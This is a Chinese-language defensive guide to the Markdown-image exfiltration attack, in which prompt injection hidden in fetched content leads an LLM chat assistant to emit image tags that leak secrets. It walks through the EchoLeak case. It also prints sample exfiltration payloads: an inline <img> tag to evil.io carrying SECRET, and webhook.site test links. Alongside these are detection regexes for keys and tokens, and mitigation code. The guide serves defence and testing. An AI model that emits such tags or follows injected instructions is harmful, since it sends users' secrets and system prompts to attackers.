最快的修复: 在模型输出进入渲染器之前,先剥掉所有 host 不在白名单里的图片和链接;同时下发一个把 img-src 和 connect-src 限制到自有域名的 Content-Security-Policy 响应头。单独任何一道都能被绕过,两道一起上,即便有注入漏网,攻击链也会断掉。
藏在抓取网页、PDF 或粘贴内容里的 Prompt 注入,会让模型在回复里塞进一个像  这样的标签。当聊天界面渲染这段 Markdown 时,浏览器就向攻击者服务器发出一个 GET,把密钥写在 query string 里带了出去。用户看到的是一个裂图图标,攻击者却在 access log 里读到了数据。这个”Markdown 图片外发 gadget”要成立需要两个条件:一条让模型吐出该标签的注入,以及一个会自动渲染 Markdown、自动加载外部图片的界面。切断任意一环,数据就出不去。
这不是纸上谈兵。EchoLeak(CVE-2025-32711,CVSS 9.3) 就是这个攻击的零点击(zero-click)版本,2025 年 6 月由 Microsoft 披露并修复:针对 Microsoft 365 Copilot,一封精心构造的邮件把注入串过分类器,再经由一张被自动抓取的图片把内部数据外发,全程无需用户点击。同一类手法也驱动了 2026 年 5 月公布的 ChatGPhish 技术——被总结的网页污染了 ChatGPT 自己的回复渲染器。OWASP 把根因(Prompt Injection)列为 LLM01:2025,把让 payload 触发的渲染缺陷列为 LLM05:2025(Improper Output Handling)。请把它当成一个已知、可复现的漏洞类别,而不是边角情况。
先判断你属于哪种情况
| 现象 | 最可能的原因 | 去看 |
|---|---|---|
回复里出现裂图图标、DevTools Network 里有意料外的 GET | 界面自动加载外部图片、没做输出扫描 | Step 1-4 |
| 出站请求指向非应用域名,query 值是一长串 Base64/hex | 注入把 context 编码进了 URL | Step 1、5 |
| 请求从你的服务器或邮件客户端发出,不是浏览器 | 服务端渲染或邮件渲染 | Step 1-2 |
可疑 URL 出现在 fetch/tool-call 参数里,正文里没有图片 | tool-call 外发,绕过了 Markdown 防护 | Step 1 + 预防 |
回复渲染出你没发过的 <img>,或一张 display:none 的隐藏图片 | 渲染器处理了内联 HTML | Step 4 |
常见原因
1. 聊天界面开了 Markdown 渲染却没做 URL 过滤
最常见的诱因。Markdown 渲染本身是个正当功能,但它会让浏览器对模型输出里的每一个图片标签自动发出 GET,包括攻击者构造的那些。
怎么判断:打开浏览器 DevTools,切到 Network 标签页,在对话过程中观察回复渲染时发出的请求。任何用户没有主动触发、指向非应用域名的 GET 都可疑。按 “Img” 过滤可以单独看图片加载。
2. 注入指令让模型生成外发 URL
没有事先的注入就不会发生外发。注入通过间接渠道到来——抓取的网页、PDF、上传文件、粘贴文本——指示模型把 context 变量嵌进图片 URL。
怎么判断:在模型的原始输出(渲染之前)里搜索 Markdown 图片语法 
把这个参数解码会得到 systemPrompt\n,证实外发是有意为之。
怎么判断:你的扫描器必须在做模式匹配之前对 query 参数值同时做 URL-decode 和 Base64-decode,而不只是 grep 原始 URL 字符串。另外,对那些单纯就是高熵(很长、看着随机)的 query 值也要告警,即便它解不出已知关键词——编码后的密钥就长这样。
5. 通过内联 HTML、CSS background-image 或链接 href 外发
有些渲染器会处理 Markdown 里的 HTML,从而放行带外部 URL 的图片、锚点或带样式的标签:
<img src="https://evil.io?data=SECRET" style="display:none">
display:none 的图片照样会发请求。同理还有内联 style 里的 CSS url(),以及 reference-style(引用式)Markdown 链接——EchoLeak 正是用引用式链接绕过了链接脱敏。
怎么判断:检查你的 Markdown 渲染器是否处理内联 HTML。如果处理,模型输出里任何 src、href 或 CSS url() 都可能触发出站请求。
6. 外发 URL 藏在 tool-call 参数里,而不是正文
模型生成一个 tool call(比如 fetch_url),把攻击者 URL 当成参数,数据编码在 path 或 query 里。这绕过了所有 Markdown 渲染层的防护。
怎么判断:记录所有 tool-call 参数,扫描其中带可疑 query 参数的 URL,尤其是值的长度和熵与已知密钥或会话数据吻合的那些。
最短修复路径
Step 1: 在渲染前扫描模型输出里的出站 URL
import { URL } from "url";
const ALLOWED_IMAGE_DOMAINS = new Set(["cdn.yourapp.com", "assets.yourapp.com"]);
function extractUrls(markdownText: string): string[] {
const urlPattern = /https?:\/\/[^\s\)"']+/g;
return markdownText.match(urlPattern) ?? [];
}
function containsExternalImage(markdown: string): boolean {
const imgPattern = /!\[.*?\]\((https?:\/\/[^)]+)\)/g;
let match;
while ((match = imgPattern.exec(markdown)) !== null) {
try {
const hostname = new URL(match[1]).hostname;
if (!ALLOWED_IMAGE_DOMAINS.has(hostname)) {
return true; // 发现外部图片
}
} catch {
return true; // URL 解析失败也标记
}
}
return false;
}
const rawOutput = modelResponse.choices[0].message.content ?? "";
if (containsExternalImage(rawOutput)) {
logger.error({ event: "exfiltration_gadget_detected", preview: rawOutput.slice(0, 400) });
// 渲染前先剥掉图片标签(见 Step 2)
}
Step 2: 剥掉模型输出里所有外部图片标签
function stripExternalImages(markdown: string, allowedDomains: Set<string>): string {
return markdown.replace(/!\[([^\]]*)\]\((https?:\/\/[^)]+)\)/g, (match, alt, url) => {
try {
const hostname = new URL(url).hostname;
if (allowedDomains.has(hostname)) return match; // 白名单图片保留
} catch { /* 落到下面 */ }
return `[image removed: ${alt}]`; // 替换成安全占位符
});
}
引用式链接和 autolink 也要照此处理,不能只盯着内联图片。EchoLeak 之所以能绕过 Microsoft 的链接脱敏,靠的就是用引用式 [text][ref] 写法代替内联链接——只匹配 [text](url) 的白名单会漏掉它。
Step 3: 用 Content Security Policy 拦掉意料外的来源
// Express 中间件示例
app.use((req, res, next) => {
res.setHeader(
"Content-Security-Policy",
"default-src 'self'; img-src 'self' cdn.yourapp.com data:; connect-src 'self' api.yourapp.com; script-src 'self';"
);
next();
});
除了 img-src,也要锁死 connect-src——否则就算图片被拦,模型还能退而用 fetch() 方式外发。浏览器随后就会拒绝加载白名单之外域名的图片或建立连接,哪怕渲染器把标签放行了。img-src 里的 data: 只在你确实要渲染内联 data-URI 图片时才保留,它本身不是外发通道。CSP 是兜底,不是完整修复:CSP 拦不住模型生成标签,而且很多 CSP 配置都有已知的绕过 gadget,所以严格的渲染白名单仍然不可少。
Step 4: 在 Markdown 渲染器里禁用内联 HTML
import { marked } from "marked";
// 禁用 HTML,使 <img src=...> 无法经 Markdown 注入
marked.setOptions({ mangle: false, headerIds: false });
const renderer = new marked.Renderer();
renderer.html = () => ""; // 完全剥除内联 HTML
const safeHtml = marked(rawOutput, { renderer });
凡是最终会变成实时 HTML 的内容,优先用成熟的 sanitizer(配上严格标签/属性白名单的 DOMPurify),别手搓剥除逻辑。
Step 5: 扫描 Base64 编码和高熵的 query 参数
function hasEncodedExfiltration(url: string): boolean {
try {
const parsed = new URL(url);
for (const [, value] of parsed.searchParams) {
// 1) 解码后做关键词匹配
const decoded = Buffer.from(value, "base64").toString("utf8");
if (/api.?key|secret|token|password|system.?prompt/i.test(decoded)) return true;
// 2) 即便解不出关键词,也对又长又高熵的值告警
if (value.length >= 24 && /^[A-Za-z0-9+/=_-]+$/.test(value)) return true;
}
} catch { /* 不是合法 URL */ }
return false;
}
Step 6: 把模型输出里的所有 URL 记下来以备取证
function logOutputUrls(output: string, sessionId: string): void {
const urls = extractUrls(output);
if (urls.length > 0) {
logger.info({ event: "model_output_urls", sessionId, urls });
}
}
如何确认已修复
- 往模型回复里放一个
(可以 mock 响应或用一条测试注入)并渲染它。打开 webhook.site 仪表盘:不应该收到任何请求。如果收到了,说明你的扫描或 CSP 没拦住。 - 打开 DevTools、Network 标签页、过滤到 “Img”,确认渲染被污染的回复时,没有任何请求发往白名单之外的 host。
- 换成引用式链接
[x][1]加[1]: https://webhook.site/YOUR-ID,再换成内联<img src="https://webhook.site/YOUR-ID">各试一遍,确认两种绕过写法都被挡住。 - 检查日志:每次被拦下的尝试都应该触发
exfiltration_gadget_detected事件,这样你拿到的是一个可告警的信号,而不是无声地把问题盖掉。
预防建议
- 维护一条严格的 CSP,把
img-src和connect-src限制到已知域名;即便标签被渲染,它也能切断浏览器端的请求。 - 在渲染前扫描所有模型输出里的外部 URL,命中就剥除或按白名单放行——包括引用式链接和 autolink。
- 在渲染器里禁用内联 HTML,优先用配严格白名单的 DOMPurify。
- 把每一个间接内容来源(抓取的 URL、PDF、上传文件、搜索结果片段)都当成潜在注入向量,在它进入模型 context 之前先扫一遍。
- 记录模型输出里的所有 URL,并保留日志(比如 30 天)以支持事后溯源。
- 把 URL 扫描扩展到 tool-call 参数,不只是正文——同一个 gadget 也能经
fetch类工具生效。 - 对任何一次回复里携带超过设定数量外部 URL 的情况告警(对多数应用来说,超过 2 个就反常)。
- 如果你要代理图片,就在服务端抓取并缓存,让用户浏览器永远不直连源站 host——这正是各大厂商在这些披露之后采用的图片代理(image-proxy)思路。
常见问答 (FAQ)
Q: 服务端渲染、根本不经过浏览器,这攻击还成立吗?
A: 成立。如果服务器渲染了 Markdown 并存下 HTML,或者把它放进开了图片加载的邮件里发出,那 GET 就从服务器或邮件客户端发出,而不是浏览器。服务端渲染还额外引入 SSRF 风险,因为请求现在来自你的基础设施。同样的 URL 扫描措施仍然适用;服务端渲染本身不是防御手段。
Q: 我的应用只返回纯文本、从不渲染 Markdown,能躲过这个具体的 gadget 吗?
A: 对图片这一变种,基本可以:未渲染的文本不会加载图片。但如果模型用 fetch 类工具带着攻击者 URL 发起 tool call,tool-call 外发依然成立,所以 tool-call 参数也要扫。还要回头检查这段文本之后会被渲染的所有地方:预览、PDF/HTML 导出、通知邮件。
Q: 光靠一个 CSP 响应头能挡住吗?
A: 配好的 CSP 能阻止浏览器加载外部图片,但它挡不住模型生成标签,而且 CSP 有大量已记录在案的绕过 gadget。要保留输出扫描,这样即使 CSP 把请求拦了,你也能检测到并对这次尝试告警。记得锁死 connect-src,不只是 img-src。
Q: 只配 DOMPurify 能挡住吗?
A: 不能。DOMPurify 会清掉 <script> 之类 XSS 向量,但一个普通的 <img> 是合法 HTML,它默认会保留。需要加上 FORBID_TAGS: ['img'](或把 img 的 src 限制到白名单),或者在 sanitize 之前用自定义 Markdown renderer 过滤图片 URL。
Q: 厂商不是已经修了吗(EchoLeak、ChatGPT 的 url_safe),我还要自己修吗?
A: 要。那些修复保护的是厂商自家的第一方界面(Microsoft 2025 年 6 月针对 CVE-2025-32711 的服务端补丁;OpenAI 在 2025 年 8 月前后加入的 url_safe 白名单机制)。它们对你基于 API 自建的应用毫无作用。模型输出是你自己渲染的,所以这道控制归你负责。
Q: 这是已知、有据可查的攻击吗? A: 是。研究者从 2023 年起就在 Bing Chat、ChatGPT、Claude、Bard/Gemini、NotebookLM、Copilot Chat 上公开演示过这个 Markdown 外发 gadget。它对应 OWASP LLM01:2025(Prompt Injection)作为根因,LLM05:2025(Improper Output Handling)作为渲染缺陷,而 EchoLeak 的 CVE 让它成了一个真实、有评分的漏洞。